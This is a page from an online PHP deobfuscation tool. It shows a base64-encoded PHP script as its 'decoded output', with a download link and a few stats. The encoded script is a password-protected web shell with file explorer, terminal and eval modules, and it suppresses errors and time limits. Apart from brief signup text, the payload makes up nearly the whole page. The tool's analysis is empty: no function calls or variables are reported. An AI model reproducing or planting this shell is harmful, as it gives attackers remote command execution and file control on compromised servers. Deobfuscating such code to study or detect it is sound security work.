Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwokR0xPQkFMU1sncGFzcyddID0gImQ0YTk0YmZmMjExYjVjNDNjNjFhYz..

Decoded Output download

<?  PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwokR0xPQkFMU1sncGFzcyddID0gImQ0YTk0YmZmMjExYjVjNDNjNjFhYzdmNDIwOWE5OTYyYjQ2NzhlNjAiOwokR0xPQkFMU1snbSddID0gYXJyYXkoImV4cGxvcmVyIiwgInRlcm1pbmFsIiwgImV2YWwiKTsKJEdMT0JBTFNbJ3ZlciddID0gIl5fXiI7CiRHTE9CQUxTWyd0aXRsZSddID0gIm51bGxzIjsgQG9iX3N0YXJ0KCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQGNsZWFyc3RhdGNhY2hlKCk7IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2F1dGgnKSl7IGZ1bmN0aW9uIGF1dGgoKXsgaWYoaXNzZXQoJEdMT0JBTFNbJ3Bhc3MnXSkgJiYgKHRyaW0oJEdMT0JBTFNbJ3Bhc3MnXSkhPScnKSl7ICRjID0gJF9DT09LSUU7ICRwID0gJF9QT1NUOyBpZihpc3NldCgkcFsncGFzcyddKSl7ICR5b3VyX3Bhc3MgPSBzaGExKG1kNSgkcFsncGFzcyddKSk7IGlmKCR5b3VyX3Bhc3M9PSRHTE9CQUxTWydwYXNzJ10peyBzZXRjb29raWUoInBhc3MiLCAkeW91cl9wYXNzLCB0aW1lKCkrMzYwMDAsICIvIik7IGhlYWRlcigiTG9jYXRpb246ICIuZ2V0X3NlbGYoKSk7IH0gfSBpZighaXNzZXQoJGNbJ3Bhc3MnXSkgfHwgKChpc3NldCgkY1sncGFzcyddKSYmKCRjWydwYXNzJ10hPSRHTE9CQUxTWydwYXNzJ10pKSkpeyAkcmVzID0gIjwhZG9jdHlwZSBodG1sPiA8aHRtbD4gPGhlYWQ+IDx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PcHRpb25zJyk7aWYob3B0aW9ucy52YWwoKT09J09wdGlvbnMvU3dpdGNoZXMnKW9wdGlvbnMudmFsKCcnKX0pOyQoJyNldmFsT3B0aW9ucycpLm9uKCdibHVyJyxmdW5jdGlvbihlKXtvcHRpb25zPSQoJyNldmFsT3B0aW9ucycpO2lmKCQudHJpbShvcHRpb25zLnZhbCgpKT09Jycpb3B0aW9ucy52YWwoJ09wdGlvbnMvU3dpdGNoZXMnKX0pOyQoJyNldmFsQXJndW1lbnRzJykub24oJ2ZvY3VzJyxmdW5jdGlvbihlKXthcmdzPSQoJyNldmFsQXJndW1lbnRzJyk7aWYoYXJncy52YWwoKT09J0FyZ3VtZW50cycpYXJncy52YWwoJycpfSk7JCgnI2V2YWxBcmd1bWVudHMnKS5vbignYmx1cicsZnVuY3Rpb24oZSl7YXJncz0kKCcjZXZhbEFyZ3VtZW50cycpO2lmKCQudHJpbShhcmdzLnZhbCgpKT09JycpYXJncy52YWwoJ0FyZ3VtZW50cycpfSk7JCgnI2V2YWxJbnB1dCcpLm9uKCdrZXlkb3duJyxmdW5jdGlvbihlKXtpZihlLmN0cmxLZXkmJihlLmtleUNvZGU9PTEwfHxlLmtleUNvZGU9PTEzKSl7ZXZhbF9nbygpfWZpeF90YWJjaGFyKHRoaXMsZSl9KX08P3BocApmb3JlYWNoKCRHTE9CQUxTWydtJ10gYXMgJGspewplY2hvICJmdW5jdGlvbiAiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIigpeyAiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2pzX29udGFic2VsZWN0ZWQnXS4iIH1cbiI7fT8+Cjwvc2NyaXB0Pgo8IS0tc2NyaXB0IGVuZC0tPgo8L2JvZHk+CjwvaHRtbD48P3BocCBkaWUoKTs/Pgo=

Function Calls

None

Variables

None

Stats

MD5 e42875bb410fc1c7c1017ea79efa9c22
Eval Count 0
Decode Time 2358 ms